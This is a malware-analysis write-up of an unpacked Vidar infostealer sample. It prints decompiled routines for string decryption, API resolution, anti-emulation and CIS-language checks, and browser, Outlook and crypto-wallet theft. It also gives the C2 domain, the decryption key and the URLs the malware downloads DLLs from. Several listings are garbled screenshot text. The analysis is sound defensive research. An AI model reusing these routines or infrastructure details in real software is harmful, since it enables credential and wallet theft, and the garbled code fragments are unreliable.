A Case of Vidar Infostealer - Part 2

Ox00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2
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Hi, welcome to the Part 2 of my Vidar infostealer analysis writeup. In <u>part 1</u> of this post, I covered detailed technical analysis of packed executable dropped by initial stager by extracting and exploring embedded shellcode which is unpacking and self-injecting final payload. This part focuses on detailed static analysis of final injected payload: unpacked Vidar infostealer, defying anti-analysis techniques employed by malware (string decryption, dynamically loading DLLs and resolving APIs), automating analysis and finally uncovering stealer's main functionality through deobfuscated/decrypted strings.

SHA256: fca48ccbf3db60291b49f2290317b4919007dcc4fb943c1136eb70cf998260a5

Vidar in a Nutshell

The Vidar Stealer is popular stealer written in C++ and has been active since October 2018 and seen in numerous different campaigns. It has been utilized by the threat actors behind GandCrab to use Vidar infostealer in the process for distributing the ransomware as second stage payload, which helps increasing their profits. The family is quite flexible in its operations as it can be configured to grab specific information dynamically. It fetches its configuration from C2 server at runtime which dictates what features are activated and which information is gathered and exfiltrated from victim machine. It also downloads several benign supporting dlls (freebl3.dll, mozglue.dll, msvcp140.dll and nss3.dll) to process encrypted data from browsers such as email credentials, chat account details, web-browsing cookies, etc., compresses everything into a ZIP archive, and then exfiltrates the archive to the attackers via an HTTP POST request. Once this is done, it kills its own process and deletes downloaded DLLs, working directory contents and main executable in an attempt to wipe all evidence of its presence from the victim's machine.

Technical Analysis

I'll start analysis by loading this executable directly in IDA to look for important strings, IDA's strings window show some intersting plaintext and base64 encoded strings stored in .rdata section

Address	Length	Туре	String
's' .rdata:0042A004	00000005	С	\r\n
s' .rdata:0042A00C	0000008	С	http://
's' .rdata:0042A014	00000005	С	POST
's' .rdata:0042A01C	0000002D	С	Content-Type: multipart/form-data; boundary=
s'.rdata:0042A04C	00000011	С	Content-Length:
s' .rdata:0042A060	00000005	С	http
's' .rdata:0042A068	0000008	С	http://
's' .rdata:0042A074	00000013	С	056139954853430408
's' .rdata:0042A088	000000C	С	himarkh.xyz
s'.rdata:0042A0A0	00000005	С	LQ==
s'.rdata:0042A0A8	00000011	С	KaoQpEzKSjGm8Q==
s'.rdata:0042A0BC	00000011	С	DboNtEbQF3/+oFA=
's' .rdata:0042A0D0	00000051	С	CaoQpEzKRGjzqA7oxsEfmfrFl/2dONghOeYatRN8r22RvgdoQSz2oEl19dbLETI+8RVlqBE+g42Kng==
's' .rdata:0042A124	000000D	С	GLoX6gmCFw==
's' .rdata:0042A134	000000D	С	D6AGohOHQTY=
's' .rdata:0042A144	00000019	С	GbwOoFzTATf+y0KojtYSkaQ=
's' .rdata:0042A160	0000001D	С	CaoQpEzKRAm/60SwiotXjvfNyQ==
's' .rdata:0042A180	00000015	С	F7JjuEDJAWWXwRnlzp8=
官 .rdata:0042A198	000000D	С	HYYqlBOHQTY=
s' .rdata:0042A1A8	00000015	С	HrwOsUDJRAu/6Eb/y8lB
's' .rdata:0042A1C0	00000015	С	DbwRu07VCzCuvwPgmA==
's' .rdata:0042A1D8	00000021	С	EbYaskbGFiH+yUKrjJlT07KbgPCVZg==
's' .rdata:0042A1FC	00000021	С	FrwEuUrGCGWu90ymjp9B26WbgPCVcQ==
's' .rdata:0042A220	00000051	С	ErIRtF7GFiD+qA7oxsEfmfrFl/2dONghOeYatRN8r22RvgdoQSz2oEl19dbLETI+8RVlqBE+g42Kng==
's' .rdata:0042A274	00000015	С	CqEMs0zUFyqsvwPgmA==
s' .rdata:0042A28C	00000015	С	DLoHtUbEBTe6vwPgmA==
s'.rdata:0042A2A4	00000011	С	HroQoEXGHX/+oFA=
's' .rdata:0042A2B8	000000D	С	CJIu6gmCFw==
's' .rdata:0042A2C8	00000011	С	FrITpEbXXmX79g==
s' .rdata:0042A2DC	00000019	С	GbwWvl3VHX/+xkywhZhAzeg=
s'.rdata:0042A2F8	00000051	С	DroOtQmKSWjzqA7oxsEfmfrFl/2dONghOeYatRN8r22RvgdoQSz2oEl19dbLETI+8RVlqBE+g42Kng==
s'.rdata:0042A34C	000000D	С	FrxjsUWdRGCt
's'.rdata:0042A35C	000000D	С	WrwNtROHQTY=
s'.rdata:0042A36C	0000009	С	f6A/jAM=
's' .rdata:0042A378	00000051	С	FLYXp0bVD2XzqA7oxsEfmfrFl/2dONghOeYatRN8r22RvgdoQSz2oEl19dbLETI+8RVlqBE+g42Kng==
s'.rdata:0042A3CC	000000D	С	E4NZ8GD3Ww==

if I quickly decode few base64 strings in Cyberchef, it results in junk data giving a clue that strings are possibly encrypted before they were base64 encoded



next I'll check for encryption algorithm but KANAL fails to detect any potential algorithm for string encryption as given in figure below

so let's start digging it statically to see how string encryption actually works in this case, for this purpose I'll double click a base64 encoded string randomly to see where it's been used by finding its Xrefs which takes us to **sub_423050** routine

BASE64 table :: 0002C658 :: 0042D858
Referenced at 004268D4
CRC32 :: 000284F8 :: 004296F8
Referenced at 00412FFC
Referenced at 00413052
Referenced at 0041309B
Referenced at 004130C2
Referenced at 004130EA
Referenced at 00413112
Referenced at 00413139
Referenced at 00413161
Referenced at 00413189
Referenced at 004131B0
Referenced at 004131EC
ZIP2 encryption :: 000183C8 :: 00418FC8
The reference is above.

```
0423050 <mark>sub_423050</mark> proc_near
00423050 var 4= dword ptr -4
00423050 push
00423051 mov
00423053 push
                 [ebp+var_4], ecx
00423054 mov
               dword_432354, offset a05613995485343 ; "056139954853430408"
00423057 mov
00423061 push
                offset aHimarkhXyz ; "himarkh.xyz
00423066 pop
00423067 nop
00423068 nop
00423069 nop
0042306A nop
0042306B add
               esp, 4
              dword_4326D8, eax
0042306E mov
                offset aLq ; "LQ=="
00423073 push
00423078 call sub_422F70
0042307D add esp, 4
00423080 mov dword_4321D0, eax
00423085 push offset aKaoqpezksjgm8q ; "KaoQpEzKSjGm8Q=="
0042300A cas
0042308F add esp, 4
0042308A call sub 422F70
00423097 push offset aCaoqpezkrgjzqa ; "CaoQpEzKRGjzqA7oxsEfmfrF1/2dONghOeYatRN"...
0042309C call
                sub_422F70
004230A1 add esp, 4
004230A4 mov
              dword_432600, eax
004230A9 push offset aDbontebqf30fa ; "DboNtEbQF3/+oFA="
004230AE call
                sub 422F70
004230B3 add esp, 4
004230B6 mov dword_43236C, eax
004230BB push offset aGlox6gmcfw ; "GLoX6gmCFw=="
004230C0 call sub_422F70
004230C5 add esp, 4
004230C8 mov
              dword_432494, eax
004230CD push offset aD6agohohqty ; "D6AGohOHQTY="
004230D2 call
                sub_422F70
004230D7 add
004230DA mov
               dword_432694, eax
004230E4 call
                sub_422F70
004230E9 add
               dword 432550, eax
004230EC mov
004230F1 push offset aCaoqpezkram60s ; "CaoQpEzKRAm/60SwiotXjvfNvQ=="
004230F6 call
                sub 422F70
004230FB add
04230FE mov
                dword_43214C, eax
```

this routine seems to be processing most of the base64 encoded strings and storing result for each processed string in a global variable, apart from first two variables which seem to be storing plaintext values for possible decryption key and domain, let's rename this routine to **wrap_decrypt_strings**

1	int sub_423050()
	int result; // eax
	dword_432354 = "056139954853430408";
	dword_4326D8 = "himarkh.xyz";
	dword_4321D0 = (char *)sub_422F70("LQ==");
	dword_432608 = (char *)sub_422F70("KaoQpEzKSjGm8Q==");
	<pre>dword_432600 = (char *)sub_422F70("CaoQpEzKRGjzqA7oxsEfmfrF1/2dONghOeYatRN&r22RvgdoQSz2oEl19dbLETI+&RV1qBE+g42Kng==");</pre>
	dword_43236C = (char *)sub_422F70("DboNtEbQF3/+oFA=");
	dword_432494 = (char *)sub_422F70("GLoX6gmCFw==");
	dword_432694 = (char *)sub_422F70("D6AGohOHQTY=");
	dword_432550 = (char *)sub_422F70("GbwOoFzTATf+y0KojtYSkaQ=");
	dword_43214C = (char *)sub_422F70("CaoQpEzKRAm/60SwiotXjvfNyQ==");
	dword_43248C = (char *)sub_422F70("F7JjuEDJAWWXwRnlzp8=");
	dword_4321F8 = (char *)sub_422F70("HYYqlBOHQTY=");
	dword_43242C = (char *)sub_422F70("HrwOsUDJRAu/6Eb/y8lB");
	dword_432508 = (char *)sub_422F70("DbwRu07VCzCuvwPgmA==");
	dword_4320A4 = (char *)sub_422F70("EbYaskbGFiH+yUKrjJlT07KbgPCVZg==");
	<pre>dword_432564 = (char *)sub_422F70("ErIRtF7GFiD+qA7oxsEfmfrF1/2d0Ngh0eYatRN8r22RvgdoQSz2oEl19dbLETI+8RVlqBE+g42Kng==");</pre>
	dword_4325C8 = (char *)sub_422F70("CqEMs0zUFyqsvwPgmA==");
	dword_432558 = (char *)sub_422F70("FrwEuUrGCGWu90ymjp9B26WbgPCVcQ==");
	dword_43258C = (char *)sub_422F70("DLoHtUbEBTe6vwPgmA==");
	dword_432104 = (char *)sub_422F70("HroQoEXGHX/+oFA=");
	dword_4321CC = (char *)sub_422F70("CJIu6gmCFw==");
	dword_43215C = (char *)sub_422F70("FrITpEbXXmX79g==");
	<pre>dword_43228C = (char *)sub_422F70("DroOtQmKSWjzqA7oxsEfmfrFl/2dONghOeYatRN8r22RvgdoQSz2oEl19dbLETI+8RVlqBE+g42Kng==");</pre>
	dword_432374 = (char *)sub_422F70("FrxjsUWdRGCt");
	dword_432310 = (char *)sub_422F70("WrwNtROHQTY=");
	<pre>dword_432348 = (char *)sub_422F70("FLYXp0bVD2XzqA7oxsEfmfrFl/2d0Ngh0eYatRN8r22RvgdoQSz2oEl19dbLETI+8RVlqBE+g42Kng==");</pre>
	dword_432198 = (char *)sub_422F70("E4WZ8GD3Ww==");
	dword_432538 = (char *)sub_422F70("GbwWvl3VHX/+xkywhZhAzeg=");
	<pre>dword_4320D8 = (char *)sub_422F70("E70QpEjLCCC6pXCqjZhFxraa3/Cd0Ngh0eYatRN8r22RvgdoQSz2oEl19dbLETI+8RVlqBE+g42Kng==");</pre>
	dword_4323A0 = sub_422F70("f6A/jAM=");
	dword_4320A0 = sub_422F70("dA==");
	dword_4322BC = sub_422F70("f6A/jAzU");
	dword_432170 = sub_422F70("f6A=");
38	dword_432570 = sub_422F70("Gek/jHnVCyKs5E6BiphT6Is=");

sub_422F70 in **wrap_decrypt_strings** routine can be seen from figure above to be repititively called with base64 strings, has been Xref'd for ~400 times, it can be assumed it is processing encrypted strings and can be renamed to decrypt_strings for our convenience as shown in the figure below

	1 i	Int wrap_decrypt_strings_sub_423050()
	2 {	
		int result; // eax
•		key = "056139954853430408";
•		domain = "himarkh.xyz";
•		dword_4321D0 = (char *)decrypt_strings_sub_422F70("LQ==");
•		dword_432608 = (char *)decrypt_strings_sub_422F70("KaoQpEzKSjGm8Q==");
•		<pre>dword_432600 = (char *)decrypt_strings_sub_422F70("CaoQpEzKRGjzqA7oxsEfmfrF1/2dONghOeYatRNBr22RvgdoQSz2oE119dbLETI+8RVlqBE+g42Kng==");</pre>
•		dword_43236C = (char *)decrypt_strings_sub_422F70("DboNtEbQF3/+oFA=");
•		dword_432494 = (char *)decrypt_strings_sub_422F70("GLoX6gmCFw==");
•		dword_432694 = (char *)decrypt_strings_sub_422F70("D6AGoh0HQTY=");
•		dword_432550 = (char *)decrypt_strings_sub_422F70("GbwOoFzTATf+y0KojtYSkaQ=");
•		dword_43214C = (char *)decrypt_strings_sub_422F70("CaoQpEzKRAm/60SwiotXjvtNyQ==");
		dword_43248C = (char *)decrypt_strings_sub_422F70("F7J")deDJAMAXwRAIzp8=");
		dword_4321F8 = (char *)decrypt_strings_sub_422F70("HYYqLBOHQTY=");
		dword_43242C = (char *)decrypt_strings_sub_422F70("HrwdoSUDJRAU/6ED/y81B");
		dword_432508 = (char)decrypt_strings_sub_422770("DbwRVd07VCzcuvwPgmA==");
		dword_4320044 = (char)decrypt_strings_sub_4227/0("bytaskubin+yukrj)110/kBgPCV2g==");
		dword_432564 = (char *)decrypt_strings_sub_4227/0("critter/dr10+q4/xxsstmtrr1/2d0Ngn0eYatkN8r22kVgdoQSz20E119dbLe11+8kV1qBE+g42kNg==");
		aword 4325t8 = (char *)aecrypt_strings sub_422770(cdensgurydsvw/gma==);
		dword_422556 = (char *)decrypt_strings_sub_42270("In ettiliser.com/add/sub/sympsb2cw0gPtvCct==);
		$uword_45250C = (Char)uecrypt_strings_sud_422770(UEOnODEDTeOWRPgmA==);$
		<pre>dword_452104 = (char *)decrypt_strings_sub_422r/0(nroupcampt, how and how</pre>
		$u_{vord} = 4215C = (Chan *)u_{vord} = 5u_{vord} = 22170(Cortegenerw),$
		$u_{001} = 42213C = (clas =)uecrypt_strings_uu=422170(+11)cutonun75g=-);$ $u_{001} = 43238C = (clas = *)uecrypt_strings_uu=422170(*)DoOOD00050000000000000000000000000000000$
		dword 433374 - (chan *)decrypt_straings_sub_422770(0 0000000000000000000000000000000
		dword 43310 - (clar *)dcrypt_strings_su_422170(+ x)soundect /)
		dword 43348 = (chan *)dccrypt_strings_sub_422F70(mimickongrip /) dword 43348 = (chan *)dccrypt_strings_sub_422F70("FLYXnBhvD2YznA7xysFfmfnF1/2d0Ngh0eV=tBN8c22BugdnD5z2nF119dbiETT+RBV1nBF±g42Kng==").
•		dword 432198 = (char */decrypt strings sub 422F70("E4NZ8GD3)w=="):
•		dword 432538 = (char *)decrypt strings sub 422F70("GbwWvl3VHX/+xkywhZhAzeg="):
•		<pre>dword_4320D8 = (char *)decrypt_strings_sub_422F70("E70QpEjLCCC6pXCqjZhFxraa3/CdONghOeYatRN8r22RvgdoQSz2oEl19dbLETI+8RVlqBE+g42Kng==");</pre>

further exploring **decrypt_strings** by loading the executable in x64dbg, debugging unveils that first two calls to **sub_4011Co** routine are just copying values of key and base64 encoded encrypted string to local variables, next routine **sub_422Doo** is decoding base64 string, stores decoded hex value to a local variable and returns address of this local variable



base64 decoded hex string can also be verified in cyberchef

Recipe		8	Î	Input	start: 16 end: 16 length: 0	length: 16 lines: 1	+	۵ 5	• 1	Ì 🖬
From Base64		(⊘ II	KaoQpEzKSjGm8Q==						
Alphabet A - Za - z0 - 9+/=			Ŧ							
Remove non-alphabe	t chars									
То Нех		(0 11							
Delimiter Space	Bytes per line O									
				Output	start: NaN end: NaN length: NaN	time: 1ms length: 29 lines: 1	8	6	t) K	. ::
				29 aa 10 a4 4c ca 4a 31 a6 f1						

later it calculates length for base64 decoded hex string and allocates buffer equivalent of that length on heap, next two calls to **sub_401330** routine are allocating two buffers on heap for key and base64 decoded hex string respectively before it proceeds to finally decrypt data using **sub_422980**, quick decompilation of code for this routine results in three well recognized **RC4** loops



string decryption can be confirmed by following Cyberchef recipe

Recipe		8 🖬 i
From Base64		⊘ 11
Alphabet A-Za-Z0-9+/=		•
Remove non-alphabet	chars	
То Нех		⊘ 11
Delimiter Space	Bytes per line O	
RC4		⊘ 11
Passphrase 056139954853430408		UTF8 🕶
Input format Hex	Output format Latin1	

decompiled version of **decrypt_strings** routine sums up all the steps described above



once processing for **wrap_decrypt_strings** completes, it continues to process next routine from **_WinMain**, a quick overview of **sub_419700** this routine reveals that it makes extensive use of global variables which were initialized in **wrap_decrypt_strings** apart from two calls to **sub_4196D0** and **sub_4195A0** routines respectively which can further be explored by debugging



in the figure above, routine **sub_4196Do** is parsing PEB structure to get base address for Kernel32.dll loaded in memory by accessing _PEB -> PEB_LDR_DATA -> InLoadOrderModuleList structures respetively, next routine **sub_4195Ao** being called is taking two parametes: 1). kernel32.dll base address 2). address of a global variable dword_432204 (LoadLibraryA) in first call and dword_432438 (GetProcAddress) in second call

001	22700				
004		/ar_4=	dword ptr -4		
004					
004	19700 p	oush	ebp		
004	19701 n	nov	ebp, esp		
004	19703 s	sub	esp, 30h		
004	19706 (all	sub 4196D0		
004	1970B n	nov	[ebp+var 28]	. eax	
004	1970E 🕻	cmp	[ebp+var_28]	. 0	
004	19712	jz	loc_419B96	-	
			V		
🗾 🗹 🖼					
00419718	mov	eax,	dword_432204		
0041971D	push	eax	_		
0041971E	mov	ecx,	[ebp+var 28]		
00419721	push	ecx			
00419722	call	sub_4	4195A0		
00419727	add	esp,	8		
0041972A	mov	dwor	d 432898, eax		
0041972F	mov	edx,	dword_432438	1	
00419735	push	edx	_		
00419736	mov	eax,	[ebp+var_28]		
00419739	push	eax			
0041973A	call	sub 4	4195A0		
0041973F	add	esp,	8		
00419742	mov	dwor	d_43280C, eax		

where **sub_4195A0** is parsing kernel32.dll's header by navigating from IMAGE DOS HEADER -> IMAGE NT HEADER ->

IMAGE OPTIONAL HEADER.DATA DIRECTORY ->

IMAGE_EXPORT_DIRECTORY.AddressOfNames to retrieve export name and compare it with value of API contained by input parameter value which in this case is LoadLibraryA



if both strings match, it returns API's address by accessing value of

IMAGE_EXPORT_DIRECTORY.AddressOfFunctions field, resolved address is stored in **dword_432898** variable while second call to **sub_4195A0** resolves GetProcAddress, stores resolved address to **dword_43280C** which is subsequently used to resolve rest of API functions at runtime. I wrote an IDAPython script <u>here</u> which is first decrypting strings

from **wrap_decrypt_strings**, resolving APIs from **sub_419700** routine, adding comments and giving meaningful names to global variables storing resolved APIs to properly understand code flow and its functionality. **decrypt_strings** routine from IDAPython script is finding key, locating ~400 base64 encoded encrypted strings, base64 decoding strings and using key to decrypt base64 decoded hex strings, adding decrypted strings as comments and renaming variables as shown in figure below

00423080	mov.	str_W, eax
00423085	push	offset aKaoqpezksjgm8q ; system.txt decrypted string
0042308A	call	b64_RC4_decrypt
0042308F	add	renamed variable
00423092	mov.	str_Systemtxt eax
00423097	push	offset aCaoqpezkrgjzqa ; System
0042309C	call	b64_RC4_decrypt
004230A1	add	esp. 4
004230A4	mov.	str_System, eax
004230A9	push	orrset audoontebqt30ta ; Windows: %s
004230AE	call	b64_RC4_decrypt
004230B3	add	esp, 4
004230B6	mov.	str_Windowss eax
004230BB	push	offset aclox6gmcfw ; Bit: %s
004230C0	call	b64_RC4_decrypt
004230C5	add	esp, 4
004230C8	mov.	str_Bits, eax
004230CD	push	offset aDbagohohqty ; User: %s
004230D2	call	b64_RC4_decrypt
004230D7	add	esp, 4
004230DA	mov	str_Users, eax
004230DF	pusn	ortset acowoorztattyuk ; Computer Name: %s
004230E4	Call	bb4_RL4_decrypt
004230E9	add	esp, 4
004230EC	mov	str_computernames, eax
004230F1	pusn	ortset acaoqpezkramows; System Language: %s
004230F6	Call	bb4_RL4_decrypt
004230FB	add	esp, 4
004230FE	mov	str_systemianguages, eax
00423103	pusn	offset aryjueujawwwr; machine iD: as
00423100		boa_kc4_decrypt
00423100	auu	esp, 4
00425110	mov	str_manineius, edx
00423113	pusn coll	bit Action of the second
0042311A		bon_nc+_decrypt
00423117	auu	esp, 4
00423122	nush —	offset allowosudinaugeh : Domain Name: %s
00423127	call	b64 RCA decount
00423120	add	
00423131	mov	str Domainnames eav
00423134	nush	offset aDhwru07vczcuvw : Workgroup: %s
00420109	pusii	winder abbuilder vezeuw , winkgroup. As

resolve_apis routine from script is resolving ~100 APIs from 11 libraries from **sub_419700** routine

```
v3 = load kernel32dll sub 4196D0();
if ( v3 )
 loadlibraryA = (int (__stdcall *)(_DWORD))parse_kernel32dll_sub_4195A0(v3, str_Loadlibrarya);
retprocaddress = (int (__stdcall *)(_DWORD,__DWORD))parse_kernel32dll_sub_4195A0(v3, str_Getprocaddress);
 ExitProcess = getprocaddress(v3, str_Exitprocess);
 GetUserDefaultLangID = getprocaddress(v3, str_Getuserdefaultlangid);
FindFirstFileA = getprocaddress(v3, str_Findfirstfilea);
 DeleteFileA = getprocaddress(v3, str_Deletefilea);
                                                                             resolved APIs and
 FindNextFileA = getprocaddress(v3, str_Findnextfilea);
                                                                             renamed variables
 FindClose = getprocaddress(v3, str_Findclose);
 GetSystemInfo = getprocaddress(v3, str_Getsysteminfo);
GlobalMemoryStatusEx = getprocaddress(v3, str_Globalmemorystatusex);
GetComputerNameA = getprocaddress(v3, str_Getcomputernamea);
 IsWow64Process = getprocaddress(v3, str_Iswow64process);
 GetCurrentProcess = getprocaddress(v3, str_Getcurrentprocess);
 GetLocalTime = getprocaddress(v3, str_Getlocaltime);
 GetTimeZoneInformation = getprocaddress(v3, str_Gettimezoneinformation);
 GetSystemPowerStatus = getprocaddress(v3, str_Getsystempowerstatus);
 GetUserDefaultLocaleName = getprocaddress(v3, str_Getuserdefaultlocalename);
 WideCharToMultiByte = getprocaddress(v3, str_Widechartomultibyte);
 OpenProcess = getprocaddress(v3, str_Openprocess);
 CloseHandle = getprocaddress(v3, str_Closehandle);
 GetCurrentProcessId = getprocaddress(v3, str_Getcurrentprocessid);
 GetCurrentDirectoryA = getprocaddress(v3, str_Getcurrentdirectorya);
 RemoveDirectoryA = getprocaddress(v3, str_Removedirectorya);
 SetCurrentDirectoryA = getprocaddress(v3, str_Setcurrentdirectorya);
 CreateDirectoryA = getprocaddress(v3, str_Createdirectorya);
 FreeLibrary = getprocaddress(v3, str_Freelibrary);
GetEnvironmentVariableA = getprocaddress(v3, str_Getenvironmentvariablea);
 GetPrivateProfileSectionNamesA = getprocaddress(v3, str GetprivateprofileSectionnamesa);
 CopyFileA = getprocaddress(v3, str_Copyfilea);
 SetFilePointer = getprocaddress(v3, str_Setfilepointer);
 HeapAlloc = getprocaddress(v3, str_Heapalloc);
 GetProcessHeap = getprocaddress(v3, str_Getprocessheap);
 CreateFileA = getprocaddress(v3, str_Createfilea);
 WriteFile = getprocaddress(v3, str_Writefile);
 GetFileSizeEx = getprocaddress(v3, str_Getfilesizeex);
 lstrcatA = getprocaddress(v3, str_Lstrcata);
 Lo_alAlloc = getprocaddress(v3, str_Loalalloc);
  GlobalFree = getprocaddress(v3, str_Globalfree);
 GetFileSize = getprocaddress(v3, str Getfilesize);
```

after resolving APIs, next routine **sub_41F4Ao** checks if victime machine is part of CIS (**Commonwealth of Independent States**) countries which include Armenia, Azerbaijan, Belarus, Georgia, Kazakhstan, Kyrgyzstan, Moldova, Russia, Tajikistan, Turkmenistan, Ukraine, and Uzbekistan, it retrieves language ID for current user by calling GetUserDefaultLangID API and compares returned result with specified location codes

where 0x43F corresponds to Kazakhstan, 0x443 to Uzbekistan, 0x82C to Azerbaijan and so on, it continues performing its tasks if user's language ID doesn't fall in the above mentioned category, otherwise it'll stop execution and exit, next routine **sub_41B700** performs windows defender anti-emulation check by compareing computer name to **HAL9TH** and user name to **JohnDoe** strings

```
signed int CIS_check_sub_41F4A0()
 unsigned __int16 v0; // ax
 signed int v2; // [esp+4h] [ebp-8h]
 v0 = GetUserDefaultLangID();
 if ( v0 > 0x43Fu )
   if ( v0 == 0x443 )
     v2 = 0;
   else if ( v0 == 0x82C )
     v2 = 0;
   switch ( v0 )
     case 0x43Fu:
      break;
     case 0x419u:
      break;
     case 0x422u:
       break;
     case 0x423u:
       v2 = 0;
       break;
 return v2;
```

```
signed int windowsdefender_check_sub_41B700()
{
    const char *v0; // ST04_4
    const char *v1; // eax
    const char *v2; // ST04_4
    const char *v3; // eax
    signed int v5; // [esp+0h] [ebp-4h]
    v5 = 1;
    v0 = str_Hal9th;
    v1 = (const char *)GetComputerNameA_sub_41B2E0();
    if ( !_stricmp(v1, v0) )
    {
        v2 = str_Johndoe;
        v3 = (const char *)GetUserNameA_sub_41B1E0();
        if ( !_stricmp(v3, v2) )
            v5 = 0;
    }
    return v5;
}
```

once all required checks are passed, **sub_420BE0** routine is called which consists of stealer's grabbing module, it prepares urls and destination path strings where downloaded dlls from C2 server are to be stored before performing any other activity

00420FA2 mov	<pre>eax, str_Cprogramdatasoftokn3d11</pre>
00420FA7 push	eax ; lpFileName
00420FA8 lea	ecx, [ebp+var_C4AC]
00420FAE push	ecx ; int
00420FAF call	download_sub_420080
00420FB4 add	esp, 8
00420FB7 mov	edx, str_Cprogramdatasqlite3dll
00420FBD push	edx ; lpFileName
00420FBE lea	eax, [ebp+var_B50C]
00420FC4 push	eax ; int
00420FC5 call	download_sub_420080
00420FCA add	esp, 8
00420FCD mov	<pre>ecx, str_Cprogramdatafreebl3dll</pre>
00420FD3 push	ecx ; lpFileName
00420FD4 lea	edx, [ebp+var_C894]
00420FDA push	edx ; int
00420FDB call	download_sub_420080
00420FE0 add	esp, 8
00420FE3 mov	<pre>eax, str_Cprogramdatamozgluedll</pre>
00420FE8 push	eax ; lpFileName
00420FE9 lea	ecx, [ebp+var_COC4]
00420FEF push	ecx ; int
00420FF0 call	download_sub_420080
00420FF5 add	esp, 8
00420FF8 mov	edx, str_Cprogramdatamsvcp140dll
00420FFE push	edx ; lpFileName
00420FFF lea	eax, [ebp+var_B124]
00421005 push	eax ; int
00421006 call	download_sub_420080
0042100B add	esp, 8
0042100E mov	<pre>ecx, str_Cprogramdatanss3d11</pre>

it downloads 7 dlls under C:\Programdata\

http://himarkh.xyz/1.jpg C:\\ProgramData\\sqlite3.dll -> http://himarkh.xyz/2.jpg C:\\ProgramData\\freebl3.dll -> http://himarkh.xyz/3.jpg C:\\ProgramData\\mozglue.dll http://himarkh.xyz/4.jpg C:\\ProgramData\\msvcp140.dll -> http://himarkh.xyz/5.jpg -> C:\\ProgramData\\nss3.dll http://himarkh.xyz/6.jpg C:\\ProgramData\\softokn3.dll -> http://himarkh.xyz/7.jpg C:\\ProgramData\\vcruntime140.dll ->

next it creates its working directory under **C:\Programdata**, name of directory is randomly generated 15 digit string like **C:\ProgramData\920304972255009** where it further creates four sub-directories (autofill, cc, cookies and crypto) which are required to be created to store stolen data from browser, outlook, cryptocurrency wallets and system information gathering modules

0042107D	push	eax ; _DWORD
0042107E	call	_CreateDirectoryA
00421084	lea	ecx, [ebp+var_D834]
0042108A	push	ecx ; DWORD
0042108B	call	_SetCurrentDirectoryA
00421091	lea	edx, [ebp+var_D834]
00421097	push	edx
00421098	call	<pre>steal_from_browsers_sub_41EBD0</pre>
0042109D	add	esp, 4
004210A0	lea	eax, [ebp+var_D834]
004210A6	push	eax ; _DWORD
004210A7	call	_SetCurrentDirectoryA
004210AD	call	<pre>steal_outlook_data_sub_41F330</pre>
004210B2	lea	ecx, [ebp+var_D834]
004210B8	push	ecx
004210B9	call	<pre>steal_cryptocurrency_wallets_sub_424F00</pre>
004210BE	add	esp, 4
004210C1	lea	edx, [ebp+var_D834]
004210C7	push	edx ; _DWORD
004210C8	call	_SetCurrentDirectoryA
004210CE	lea	eax, [ebp+var_A954]
004210D4	push	eax ; void *
004210D5	lea	ecx, [ebp+var_544]
004210DB	call	http_post_sub_422460
004210E0	test	eax, eax
004210E2	jz	loc_42118F
	004210	E8 lea ecx, [ebp+var_544]
	004210	EE call sub_4214D0

different types of browsers are being targeted to steal autofill, credit card, cookies, browsing history and victim's login credentials, this module is equipped with advanced stealing and encryption techniques

```
LOBYTE(v2) = 0;
memset((char *)&v2 + 1, 0, 0x103u);
v1 = fopen(str_Passwordstxt, str_W);
if ( v1 )
  fclose(v1);
process_vault_sub_41BEE0(v1, v2);
resolve_sqlite3_dll_apis_sub_41C810();
sub 41EAB0(str Googlechromeuserdata, str Googlechrome);
sub 41EAB0(str Chromiumuserdata, str Chromium);
sub_41EAB0(str_Kometauserdata, str_Kometa);
sub_41EAB0(str_Amigouserdata, str_Amigo);
sub_41EAB0(str_Torchuserdata, str_Torch);
sub_41EAB0(str_Orbitumuserdata, str_Orbitum);
sub_41EAB0(str_Comoodragonuserdata, str_Comododragon);
sub_41EAB0(str_Nichromeuserdata, str_Nihrome);
sub 41EAB0(str Maxthon5users, str Maxthon5);
sub_41EAB0(str_Sputnikuserdata, str_Sputnik);
sub_41EAB0(str_Epicprivacybrowseruserdata, str_Epb);
sub_41EAB0(str_Vivaldiuserdata, str_Vivaldi);
sub_41EAB0(str_Coccocbrowseruserdata, str_Cococbrowser);
sub_41EAB0(str_Ucozmediauranuserdata, str_Uranbrowser);
sub_41EAB0(str_Qipsurfuserdata, str_Qipsurf);
sub_41EAB0(str_Centbrowseruserdata, str_Cent);
sub_41EAB0(str_Elementsbrowseruserdata, str_Elementsbrowser);
sub 41EAB0(str Torbroprofile, str_Torbro);
sub_41EAB0((int)"\\Microsoft\\Edge\\User Data\\", (int)"Microsoft Edge");
sub_41EAB0(str_Cryptotabbrowseruserdata, str_Cryptotab);
sub_41EAB0(str_Bravesoftwarebravebrowseruserdata, str_Brave);
sub_41E990(str_Operasoftwareoperastable, str_Opera);
sub 41D650(str Mozillafirefoxprofiles, str_Mozillafirefox);
sub 41D650(str Moonchildproductionspalemoonprofiles, str Palemoon);
sub 41D650(str Waterfoxprofiles, str Waterfox);
sub_41D650(str_8pecxstudioscyberfoxprofiles, str Cyberfox);
sub_41D650(str_Netgatetechnologiesblackhawkprofiles, str_Blackhawk);
sub 41D650(str Mozillaicecatprofiles, str_Icecat);
sub_41D650(str_Kmeleon, dword_432208);
sub_41D650(str_Thunerbirdprofiles, str_Thunderbird);
return sub_41C670();
```

it further queries registry about SMTP and IMAP servers with confidential data and password, gathers data about connected outlook accounts (if any) and finally dumps all the data to outlook.txt file in its working directory



later it scans for .wallet, .seco, .passphrase and .keystore files for ~ 30 cryptocurrency wallets on their installed paths and copies scanned files to "crypto" in working directory

```
_cdecl steal_cryptocurrency_wallets_sub_424F00(int a1)
memset(&unk_431F98, 0, 0x104u);
lstrcatA(&unk_431F98, a1);
sub_424E20(str_Bitcoin, str_Bitcoin, str_Walat);
sub_424E20(str_Ethereum, str_Ethereum, str_Keystore);
sub 424E20(str Electrum, str Electrumwallets, str Defaultwallet);
sub 424E20(str Electrumltc, str Electrumltcwallets, str Defaultwallet);
sub 424E20(str Electroncash, str Electroncashwallets, str Defaultwallet);
sub_424E20(str_Exodus, str_Exodus, str_Exodusconfjson);
sub_424E20(str_Exodus, str_Exodus, str_Windowstatejson);
sub_424E20(str_Exodus, str_Exodusexoduswallet, str_Passphrasejson);
sub_424E20(str_Exodus, str_Exodusexoduswallet, str_Seedseco);
sub_424E20(str_Exodus, str_Exodusexoduswallet, str_Infoseco);
sub_424E20(str_Multidoge, str_Multidoge, str_Multidogewallet);
sub_424E20(str_Zcash, str_Zcash, str_Walat);
